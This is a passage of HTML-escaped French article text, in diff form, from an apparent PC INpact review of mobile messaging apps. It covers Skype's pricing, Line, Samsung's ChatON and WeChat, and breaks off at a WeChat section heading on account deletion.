+&lt;p&gt;Globalement, les interfaces sont tr&amp;egrave;s proches et Microsoft est &amp;agrave; pied d'oeuvre dans ce domaine. Ainsi, utiliser la version int&amp;eacute;gr&amp;eacute;e dans Windows 8.1 ne bouleversera pas ceux qui viennent d'une tablette Android. Sur les captures ci-dessus, on peut remarquer que les moutures Android et Windows Phone sont &amp;eacute;galement tr&amp;egrave;s proches. La derni&amp;egrave;re capture montre cependant que Skype s'int&amp;egrave;gre davantage dans Windows Phone, un appel provenant de Skype se pr&amp;eacute;sentant exactement comme un appel classique.&lt;/p&gt;
+&lt;h3&gt;Un compl&amp;eacute;ment pour l'utilisation bureautique&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Il nous serait difficile dans l&amp;rsquo;&amp;eacute;tat actuel de recommander Skype comme solution de messagerie texte car ce client ne propose rien qui n&amp;rsquo;existe pas d&amp;eacute;j&amp;agrave; chez les autres, tout en &amp;eacute;tant plus gourmand. Cependant, Skype a une vraie carte &amp;agrave; jouer dans les appels audio&amp;nbsp;: d&amp;egrave;s que l&amp;rsquo;utilisateur a suffisamment de r&amp;eacute;seau, la qualit&amp;eacute; du son peut &amp;ecirc;tre bonne, voire excellente, et l&amp;rsquo;application permet surtout de t&amp;eacute;l&amp;eacute;phoner vers l&amp;rsquo;&amp;eacute;tranger &amp;agrave; des tarifs relativement comp&amp;eacute;titifs. Skype vend&amp;nbsp;de nombreuses fonctionnalit&amp;eacute;s rattach&amp;eacute;es &amp;agrave; la t&amp;eacute;l&amp;eacute;phonie (disposer d'un num&amp;eacute;ro fixe, renvoi d'appel, etc.) et autres d&amp;eacute;di&amp;eacute;es &amp;agrave; ses membres Premium. Mais il propose aussi des abonnements&amp;nbsp;&lt;a href="http://www.skype.com/fr/rates/" target="_blank"&gt;particuli&amp;egrave;rement int&amp;eacute;ressants&lt;/a&gt;,&amp;nbsp;surtout dans le cas o&amp;ugrave; l&amp;rsquo;on t&amp;eacute;l&amp;eacute;phone r&amp;eacute;guli&amp;egrave;rement vers un pays en particulier.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Par exemple, la formule &amp;Eacute;tats-Unis co&amp;ucirc;te 4,99 euros par mois et permet d&amp;rsquo;appeler en illimit&amp;eacute; vers les fixes et les mobiles. La formule Illimit&amp;eacute;e Monde, &amp;agrave; 10,49 euros par mois, permet d&amp;rsquo;appeler en illimit&amp;eacute; sur les fixes d&amp;rsquo;une soixantaine de pays, en ajoutant les mobiles pour les &amp;Eacute;tats-Unis, le Canada, la Chine, le Guam, Hong Kong, Porto Rico, Singapour et la Tha&amp;iuml;lande. Les applications mobiles, puisque connect&amp;eacute;es au compte, permettent donc de r&amp;eacute;cup&amp;eacute;rer ces avantages sur son smartphones. &amp;Eacute;videmment, la comp&amp;eacute;tition f&amp;eacute;roce que se livrent les op&amp;eacute;rateurs de t&amp;eacute;l&amp;eacute;phonie risque de rogner petit &amp;agrave; petit sur les avantages de telles offres.&lt;/p&gt;&lt;p&gt;&lt;a href="http://line.me/en/" target="_blank"&gt;Line&lt;/a&gt; est la troisi&amp;egrave;me grande application &amp;agrave; rejoindre ce dossier. Si elle &amp;eacute;tait encore &amp;agrave; peine connue l&amp;rsquo;ann&amp;eacute;e derni&amp;egrave;re, elle rencontre un succ&amp;egrave;s foudroyant, notamment cette ann&amp;eacute;e o&amp;ugrave; elle est devenu beaucoup plus visible dans le monde occidental, notamment gr&amp;acirc;ce &amp;agrave; une grande efficacit&amp;eacute; de son service de presse. Cette application est en effet partie du Japon et s&amp;rsquo;attaque &amp;agrave; la concurrence un peu partout dans le monde.&lt;/p&gt;
+&lt;h3&gt;Un fonctionnement fa&amp;ccedil;on Kik...&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Line ne fonctionne pas tout &amp;agrave; fait sur le mod&amp;egrave;le de WhatsApp et Viber et se rapproche de Kik. Il ne s&amp;rsquo;appuie donc pas sur un num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone mais sur un compte. L&amp;rsquo;application laisse le choix entre la cr&amp;eacute;ation d&amp;rsquo;un compte maison ou l&amp;rsquo;utilisation de Facebook pour gagner du temps. Toutefois, ce dernier cas comporte un souci inh&amp;eacute;rent au r&amp;eacute;seau social&amp;nbsp;: si l&amp;rsquo;utilisateur souhaite un jour supprimer son compte Facebook, il perdra son identifiant pour les services associ&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143048.png" alt="line" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143049.png" alt="line" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143050.png" alt="line" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143051.png" alt="line" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cr&amp;eacute;er un compte ne permet pas cependant de se passer du num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone. Comme une bonne partie des applications de ce dossier, Line se sert quand m&amp;ecirc;me de cette donn&amp;eacute;e comme point de rep&amp;egrave;re. Il sera donc possible de lier son compte &amp;agrave; des applications sur les ordinateurs (nous y reviendrons) mais pas d&amp;rsquo;avoir plusieurs appareils mobiles partageant le m&amp;ecirc;me compte. En outre, comme pour WhatsApp et Viber, Line peut scanner le r&amp;eacute;pertoire de l&amp;rsquo;utilisateur pour rep&amp;eacute;rer automatiquement les contacts poss&amp;eacute;dant l&amp;rsquo;application.&lt;/p&gt;
+&lt;h3&gt;... mais avec les avantages de Viber&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Line est un s&amp;eacute;rieux concurrent car il b&amp;eacute;n&amp;eacute;ficie des m&amp;ecirc;mes avantages que Viber&amp;nbsp;: il est disponible sur les plateformes principales et dispose de clients pour les ordinateurs. On peut donc l&amp;rsquo;installer sur iOS, Android, Windows Phone, BlackBerry et m&amp;ecirc;me sur les Asha de Nokia pour la partie mobile. C&amp;ocirc;t&amp;eacute; Mac et PC, des clients pour OS X et Windows existent, et m&amp;ecirc;me une variante sp&amp;eacute;cifique pour Windows 8. Cette derni&amp;egrave;re autorise donc une utilisation purement tactile sur les tablettes et ordinateurs portables Windows 8 et 8.1. Un atout qui peut s'av&amp;eacute;rer important et le met &amp;agrave; &amp;eacute;galit&amp;eacute; avec Viber dans ce domaine, sauf sur un point : ces clients ne sont pas disponibles en fran&amp;ccedil;ais (seuls l'anglais et l'espagnol sont de la partie).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143047.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-143047.png" alt="line" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143046.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-143046.png" alt="line" height="169" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La synchronisation des messages est en outre meilleure que celle de Viber. En effet, si vous installez par exemple le client Windows ou OS X, l'ouverture d'une session de discussion avec un contact rappellera automatiquement l'ensemble de l'historique. Un tr&amp;egrave;s bon point qu'on ne retrouve pas chez son concurrent.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le fonctionnement global en fait un concurrent assez direct de Viber. La synchronisation des messages entre les diff&amp;eacute;rents clients fonctionne tr&amp;egrave;s bien et l&amp;rsquo;application se montre fiable &amp;agrave; cet &amp;eacute;gard. On regrettera une fois de plus que Linux ne soit pas concern&amp;eacute; et que l&amp;rsquo;impasse soit faite. Autre comparaison directe&amp;nbsp;: la fonction d&amp;rsquo;appel qui permet une communication gratuite (purement VoIP) entre deux contacts. Cependant, pas question ici d&amp;rsquo;appeler vers des fixes et des mobiles.&lt;/p&gt;
+&lt;h3&gt;Nombreuses options de partage et mini-r&amp;eacute;seau social&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Mais comparer Line &amp;agrave; Viber serait trop simpliste&amp;nbsp;car son &amp;eacute;diteur a d&amp;eacute;cid&amp;eacute; d&amp;rsquo;aller bien plus loin. D&amp;rsquo;une part, les conversations donnent acc&amp;egrave;s &amp;agrave; pl&amp;eacute;thore de fonctionnalit&amp;eacute;s. Il est ainsi possible de cr&amp;eacute;er des conversations de groupes, de bloquer un contact ou uniquement les notifications associ&amp;eacute;es, de modifier son nom dans la liste, d&amp;rsquo;envoyer &amp;eacute;videmment des photos et des vid&amp;eacute;os mais &amp;eacute;galement des messages audio, des notes ou encore sa position g&amp;eacute;ographique, de placer un contact en favori ou encore de cr&amp;eacute;er des albums photo qui pourront &amp;ecirc;tre r&amp;eacute;utilis&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143052.png" alt="line" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143053.png" alt="line" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143054.png" alt="line" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si Line se veut aussi complet, c&amp;rsquo;est qu&amp;rsquo;il dispose d&amp;rsquo;une diff&amp;eacute;rence majeure vis-&amp;agrave;-vis de ses concurrents&amp;nbsp;: un r&amp;eacute;seau social. On ne parle pas ici d&amp;rsquo;un Facebook et de sa montagne de possibilit&amp;eacute;s, mais d&amp;rsquo;un r&amp;eacute;seau simplifi&amp;eacute; allant directement &amp;agrave; l&amp;rsquo;essentiel. On peut s&amp;rsquo;en passer, mais ceux qui utilisent r&amp;eacute;guli&amp;egrave;rement l&amp;rsquo;application y trouveront &amp;eacute;ventuellement un moyen de partager rapidement certaines informations.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cette &amp;laquo;&amp;nbsp;Timeline&amp;nbsp;&amp;raquo; servira dans la plupart des cas &amp;agrave; publier uniquement du texte accompagn&amp;eacute; ou non de quelques photos. Notez que l&amp;rsquo;on peut ajouter des comptes officiels de personnalit&amp;eacute;s, de clubs de foot, d&amp;rsquo;entreprises ou d&amp;rsquo;organisation. Les informations partag&amp;eacute;es fonctionnent &amp;agrave; la mani&amp;egrave;re de pages Facebook.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143055.png" alt="line" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143056.png" alt="line" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143057.png" alt="line" width="190" /&gt;&lt;/p&gt;
+&lt;h3&gt;&amp;laquo;&amp;nbsp;Stickers, Stickers, qui veut mes Stickers&amp;nbsp;?&amp;nbsp;&amp;raquo;&lt;/h3&gt;
+&lt;p&gt;Line propose &amp;eacute;galement quelques fonctionnalit&amp;eacute;s plus &amp;laquo;&amp;nbsp;branch&amp;eacute;es&amp;nbsp;&amp;raquo;. Par exemple, en plus de proposer un QR Code pouvant servir d'identifiant, les smartphones qui disposent d&amp;rsquo;une puce NFC pourront s&amp;rsquo;ajouter mutuellement sous Line en les remuant l&amp;rsquo;un &amp;agrave; c&amp;ocirc;t&amp;eacute; de l&amp;rsquo;autre. L&amp;rsquo;application peut &amp;eacute;galement &amp;ecirc;tre accompagn&amp;eacute;e de nombreux jeux gratuits qui sont utilisables &amp;agrave; travers le compte Line. Le reste entre cependant dans la partie payante car l&amp;rsquo;application propose un nombre tr&amp;egrave;s important de &amp;laquo;&amp;nbsp;stickers&amp;nbsp;&amp;raquo;. Chaque pack co&amp;ucirc;te 1,79 euro dans la plupart des cas et contient plusieurs dizaines de stickers.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Concernant la gestion du compte, elle se r&amp;eacute;v&amp;egrave;le assez souple. On peut par exemple choisir de partager ou non la photo d&amp;rsquo;identification ou changer le nom sous lequel on appara&amp;icirc;t pour ses contacts. C&amp;ocirc;t&amp;eacute; confidentialit&amp;eacute;, plusieurs options int&amp;eacute;ressantes sont propos&amp;eacute;es, comme le verrouillage par code secret, le rejet automatique des messages provenant de personnes qui n&amp;rsquo;ont pas &amp;eacute;t&amp;eacute; ajout&amp;eacute;es ou encore l&amp;rsquo;effacement de l&amp;rsquo;historique des messages. Enfin, et c&amp;rsquo;est un bon point, Line autorise la suppression compl&amp;egrave;te du compte directement depuis l&amp;rsquo;application mobile.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Globalement, Line est une tr&amp;egrave;s bonne solution de messagerie de par sa disponibilit&amp;eacute; et ses fonctionnalit&amp;eacute;s. L&amp;rsquo;interface pourrait &amp;ecirc;tre l&amp;eacute;g&amp;egrave;rement modernis&amp;eacute;e mais ce n&amp;rsquo;est sans doute qu&amp;rsquo;une question de temps. Certains se tourneront sans doute vers des solutions moins compl&amp;egrave;tes et plus simples, mais Line est un concurrent &amp;agrave; suivre de pr&amp;egrave;s tant son &amp;eacute;volution est rapide.&lt;/p&gt;&lt;p&gt;&lt;a href="https://web.samsungchaton.com/index.html?_common_country=LU&amp;amp;_common_lang=fr_fr" target="_blank"&gt;ChatON&lt;/a&gt; est une application &amp;eacute;dit&amp;eacute;e par Samsung. Elle est, &amp;agrave; l&amp;rsquo;instar de WeChat et de Line, une plateforme de communication &amp;agrave; fort succ&amp;egrave;s en Asie. De fait, elle est assez peu connue au sein de nos fronti&amp;egrave;res mais m&amp;eacute;rite tout de m&amp;ecirc;me que l&amp;rsquo;on s&amp;rsquo;y penche.&lt;/p&gt;
+&lt;h3&gt;Malgr&amp;eacute; une interface vieillotte, ChatON cumule les bons points&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;ChatON n&amp;rsquo;est pas la plus belle des applications de messagerie. Son interface est relativement vieillotte compar&amp;eacute;e &amp;agrave; ce qui se fait chez la concurrence, et la traduction fran&amp;ccedil;aise, si elle ne comporte pas vraiment de fautes, affiche un nombre &amp;eacute;lev&amp;eacute; d&amp;rsquo;abr&amp;eacute;viations. L&amp;rsquo;ensemble peut fournir une sensation un peu brouillonne :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143081.png" alt="chaton" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143091.png" alt="chaton" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143083.png" alt="chaton" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143084.png" alt="chaton" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Commen&amp;ccedil;ons tout d&amp;rsquo;abord par la pr&amp;eacute;sentation sur les diff&amp;eacute;rentes plateformes. Comme la grande majorit&amp;eacute; des autres applications, ChatON est disponible sur iOS et Android, ainsi que sur Windows Phone et BlackBerry. Mais en plus de proposer une version sp&amp;eacute;cifique pour Windows 8, tout comme Viber et Line, ChatON propose &amp;eacute;galement une version web. La couverture est donc excellente, un premier bon point.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ensuite, et c&amp;rsquo;est un point rare dans ce dossier, il est possible d&amp;rsquo;utiliser le m&amp;ecirc;me compte sur plusieurs appareils mobiles. Ainsi, on peut connecter le compte Samsung jusqu&amp;rsquo;&amp;agrave; un maximum de cinq smartphones et tablettes. En cons&amp;eacute;quence, on peut tr&amp;egrave;s bien commencer une discussion dans la rue sur son Galaxy Note par exemple, la continuer en rentrant dans l&amp;rsquo;application Windows 8 avec un vrai clavier, puis la terminer le soir dans son canap&amp;eacute; sur son iPad. Seuls Hangouts et Skype permettent une telle pluralit&amp;eacute; chez les concurrents. Il s&amp;rsquo;agit donc d&amp;rsquo;un deuxi&amp;egrave;me bon point.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143085.png" alt="chaton" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143086.png" alt="chaton" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143087.png" alt="chaton" width="190" /&gt;&lt;/p&gt;
+&lt;h3&gt;M&amp;ecirc;me sans appels audio et vid&amp;eacute;o, les fonctionnalit&amp;eacute;s sont riches&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; des conversations, on retrouve tout ce qu&amp;rsquo;on peut attendre d&amp;rsquo;une solution de messagerie. Les discussions de groupes sont de la partie, de m&amp;ecirc;me que les statuts de livraison et de lecture. Ces derniers fonctionnent par contre sur un mod&amp;egrave;le un peu &amp;eacute;trange&amp;nbsp;: une fl&amp;egrave;che orange indique que le message est bien parti, mais un petit &amp;laquo;&amp;nbsp;1&amp;nbsp;&amp;raquo; appara&amp;icirc;t entre parenth&amp;egrave;ses tant qu&amp;rsquo;il n&amp;rsquo;a pas &amp;eacute;t&amp;eacute; lu. Les fonctions de partages sont nombreuses et comprennent les photos, les vid&amp;eacute;os, les animessages (des dessins anim&amp;eacute;s pr&amp;eacute;con&amp;ccedil;us ou que l&amp;rsquo;on peut fabriquer soi-m&amp;ecirc;me), des contacts, des &amp;eacute;v&amp;egrave;nements du calendrier, sa position g&amp;eacute;ographique ainsi que des documents. Chaque discussion dispose &amp;eacute;galement d&amp;rsquo;un &amp;laquo;&amp;nbsp;coffre&amp;nbsp;&amp;raquo; permettant d&amp;rsquo;y retrouver la totalit&amp;eacute; des fichiers &amp;eacute;chang&amp;eacute;s avec une personne.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143088.png" alt="chaton" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143089.png" alt="chaton" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143090.png" alt="chaton" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour autant, certaines fonctions souvent pr&amp;eacute;sentes chez les autres ne se retrouvent pas dans ChatON. C&amp;rsquo;est particuli&amp;egrave;rement le cas des appels, qui n'existent ni en audio, ni en vid&amp;eacute;o. Cela &amp;eacute;tant, pour ceux qui ne cherchent qu&amp;rsquo;un moyen d&amp;rsquo;&amp;eacute;crire et de partager des conversations communes, cette absence n&amp;rsquo;aura pas d&amp;rsquo;importance. On notera cependant &amp;agrave; droite du champ de saisie une ic&amp;ocirc;ne de talkie-walkie qui permet l&amp;rsquo;envoi rapide de messages vocaux.&lt;/p&gt;
+&lt;h3&gt;La suppression de compte la plus &amp;eacute;vidente&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Lorsqu&amp;rsquo;on se balade dans les param&amp;egrave;tres de l&amp;rsquo;application, on trouve &amp;eacute;galement tout un ensemble de petites fonctionnalit&amp;eacute;s pratiques. On passera rapidement sur les th&amp;egrave;mes de conversations qui ne sont gu&amp;egrave;re plaisants &amp;agrave; l&amp;rsquo;&amp;oelig;il. On trouve par contre une fonction de verrouillage par code qui permet de bloquer l&amp;rsquo;ouverture de l&amp;rsquo;application. Attention cependant&amp;nbsp;: ChatON avertit qu&amp;rsquo;en cas de perte du mot de passe, aucune proc&amp;eacute;dure de r&amp;eacute;cup&amp;eacute;ration ne sera possible et il faudra supprimer le compte. On a en outre un signalement automatique des anniversaires, &amp;agrave; la mani&amp;egrave;re de ce que propose Facebook. Enfin, signalons un point particuli&amp;egrave;rement agr&amp;eacute;able&amp;nbsp;: il suffit d&amp;rsquo;ouvrir les param&amp;egrave;tres de l&amp;rsquo;application pour voir directement le bouton de suppression du compte. Un excellent point et l'on regrette du coup que le m&amp;eacute;canisme n&amp;rsquo;apparaisse pas aussi clairement chez beaucoup de concurrents, notamment WeChat.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quant &amp;agrave; la mon&amp;eacute;tisation, elle ne se fait pas du c&amp;ocirc;t&amp;eacute; de l&amp;rsquo;utilisateur. Tout comme Line, il est en effet possible d&amp;rsquo;ajouter des comptes officiels que l&amp;rsquo;on peut suivre. Dans ChatON, il s&amp;rsquo;agit des amis sp&amp;eacute;ciaux, autrement dit des entreprises qui payent pour figurer dans le service. On peut alors s&amp;rsquo;y abonner, comme c&amp;rsquo;est le cas pour &lt;em&gt;The Associated Press&lt;/em&gt;, et parcourir la &amp;laquo;&amp;nbsp;timeline&amp;nbsp;&amp;raquo; pour en observer les photos post&amp;eacute;es.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En fait, il ne manque pas grand-chose &amp;agrave; ChatON pour &amp;ecirc;tre parfaite. L&amp;rsquo;application cumule les fonctionnalit&amp;eacute;s pratiques, m&amp;ecirc;me en d&amp;eacute;pit de l&amp;rsquo;absence des appels audio et vid&amp;eacute;o. Outre une interface qui pourrait &amp;ecirc;tre largement rajeunie (mais les sensibilit&amp;eacute;s &amp;agrave; ce sujet sont tr&amp;egrave;s diverses), son seul vrai d&amp;eacute;faut est de n&amp;rsquo;&amp;ecirc;tre que peu utilis&amp;eacute; dans le monde occidental. Aussi, si vous souhaitez vous en servir, vous devrez convertir vos amis.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.wechat.com/" target="_blank"&gt;WeChat &lt;/a&gt;est, avec Line, une star de la communication en Asie. Utilis&amp;eacute; par des centaines de millions de personnes, le service repr&amp;eacute;sente une menace potentielle pour les autres applications. En effet, comme on le verra avec Line plus tard, les &amp;eacute;diteurs asiatiques ont une r&amp;eacute;elle exp&amp;eacute;rience de ce type d&amp;rsquo;outils et se plient en quatre pour proposer un grand nombre de fonctionnalit&amp;eacute;s.&lt;/p&gt;
+&lt;h3&gt;Des fonctionnalit&amp;eacute;s compl&amp;egrave;tes enrichies d'options bien pens&amp;eacute;es&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;WeChat est une application compl&amp;egrave;te. Sa partie conversation est particuli&amp;egrave;rement riche et int&amp;egrave;gre tout un ensemble de petites id&amp;eacute;es qui facilitent parfois la vie. Les &amp;eacute;changes en t&amp;ecirc;te &amp;agrave; t&amp;ecirc;te et &amp;agrave; plusieurs sont &amp;eacute;videmment g&amp;eacute;r&amp;eacute;s et de nombreuses options de partage sont pr&amp;eacute;sentes&amp;nbsp;: photos, position g&amp;eacute;ographique, carte de visite d&amp;rsquo;un contact (en fait sa fiche utilisateur), messages favoris, notes vocales.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143071.png" alt="wechat" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143072.png" alt="wechat" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143074.png" alt="wechat" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Des possibilit&amp;eacute;s int&amp;eacute;ressantes sont aussi de la partie. Par exemple, la session Talkie Walkie permet d&amp;rsquo;&amp;eacute;changer rapidement des notes vocales si l&amp;rsquo;environnement ne se pr&amp;ecirc;te pas &amp;agrave; une discussion continue. Les cartes de visite permettent de partager un contact avec un autre, une fonction qui ressemble &amp;agrave; la recommandation pr&amp;eacute;sente dans Skype. En outre, si WeChat d&amp;eacute;tecte qu&amp;rsquo;une capture d&amp;rsquo;&amp;eacute;cran a &amp;eacute;t&amp;eacute; prise, il propose automatiquement de l&amp;rsquo;envoyer au contact avec qui l&amp;rsquo;on discute.&lt;/p&gt;
+&lt;h3&gt;Appels audio/vid&amp;eacute;o et disponibilit&amp;eacute; : de bons points&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Concernant les appels, l'application propose des modes audio et vid&amp;eacute;o. Pour le premier, le son &amp;eacute;tait plut&amp;ocirc;t bon m&amp;ecirc;me si certains petits soucis venaient &amp;eacute;mailler la conversation. Par exemple, un certain &amp;eacute;cho pouvait parfois &amp;ecirc;tre entendu. Rien de bloquant, mais la solution n&amp;rsquo;est de fait pas au niveau d&amp;rsquo;un Skype ou d&amp;rsquo;un FaceTime. L&amp;rsquo;appel vid&amp;eacute;o ne pr&amp;eacute;sentant cependant pas ce souci et l&amp;rsquo;image &amp;eacute;tait relativement bonne. Comme toujours pour ce type de fonctionnalit&amp;eacute;, c&amp;rsquo;est essentiellement la qualit&amp;eacute; du r&amp;eacute;seau qui d&amp;eacute;terminera celle des appels.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143073.png" alt="wechat" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143075.png" alt="wechat" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143076.png" alt="wechat" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143077.png" alt="wechat" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour ce qui est des clients, WeChat fait partie du haut du panier. S&amp;rsquo;il n&amp;rsquo;est ainsi pas question de versions pour les ordinateurs comme peuvent le proposer Viber et Line, une version web est tout de m&amp;ecirc;me propos&amp;eacute;e. &amp;Agrave; l&amp;rsquo;ouverture, le site propose de scanner un QR Code avec l&amp;rsquo;application mobile, ce qui d&amp;eacute;bloque la fonction de discussion. WeChat b&amp;eacute;n&amp;eacute;ficie en outre d&amp;rsquo;une bonne couverture des plateformes mobiles&amp;nbsp;: iOS, Android, Windows Phone (une version 5.0 flambant neuve est m&amp;ecirc;me sortie le 31 d&amp;eacute;cembre), BlackBerry (y compris la version 10) ainsi que S40 et Symbian pour les t&amp;eacute;l&amp;eacute;phones Nokia.&lt;/p&gt;
+&lt;h3&gt;Toujours un seul appareil &amp;agrave; la fois...&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;L&amp;rsquo;application comporte cependant un d&amp;eacute;faut r&amp;eacute;current pour les applications mobiles de ce type. Une fois que WeChat est install&amp;eacute; sur un t&amp;eacute;l&amp;eacute;phone, il ne sera pas possible de l&amp;rsquo;installer sur un autre p&amp;eacute;riph&amp;eacute;rique pour partager le m&amp;ecirc;me compte. Pourtant, il s&amp;rsquo;agit bien de compte et pas d&amp;rsquo;une identification simple par num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone. WeChat propose quand m&amp;ecirc;me une mani&amp;egrave;re de compenser le probl&amp;egrave;me si vous devez changer d&amp;rsquo;appareil. Depuis l&amp;rsquo;ancien, vous pouvez sauvegarder et envoyer un ou plusieurs historiques vers le serveur (ces historiques sont en effet locaux). Depuis le nouvel appareil, il sera ainsi possible de restaurer alors ces discussions.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143078.png" alt="wechat" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143079.png" alt="wechat" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143080.png" alt="wechat" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;WeChat se r&amp;eacute;v&amp;egrave;le globalement surprenant dans la mesure o&amp;ugrave; il int&amp;egrave;gre un tr&amp;egrave;s grand nombre de fonctionnalit&amp;eacute;s que l&amp;rsquo;on n&amp;rsquo;attend pas forc&amp;eacute;ment d&amp;rsquo;une application de messagerie. Par exemple, &amp;laquo;&amp;nbsp;Personnes &amp;agrave; proximit&amp;eacute;&amp;nbsp;&amp;raquo; permet de lister les utilisateurs de l&amp;rsquo;application se trouvant autour de soi. Mais pas question de position g&amp;eacute;ographique pr&amp;eacute;cise ici car on n&amp;rsquo;a en fait le choix que de la ville, et toutes ne sont pas pr&amp;eacute;sentes. En outre, il appara&amp;icirc;t &amp;eacute;vident que la plupart des utilisateurs sont asiatiques au vu des id&amp;eacute;ogrammes composant la grande majorit&amp;eacute; des noms. Dommage cependant que des fonctions plus basiques ne soient pas de la partie. Par exemple, il est actuellement impossible de partager une vid&amp;eacute;o. En outre, les statuts de distribution et de lecture ne sont pas g&amp;eacute;r&amp;eacute;s.&lt;/p&gt;
+&lt;h3&gt;Dommage, aucune suppression simple du compte&amp;nbsp;&lt;/h3&gt;
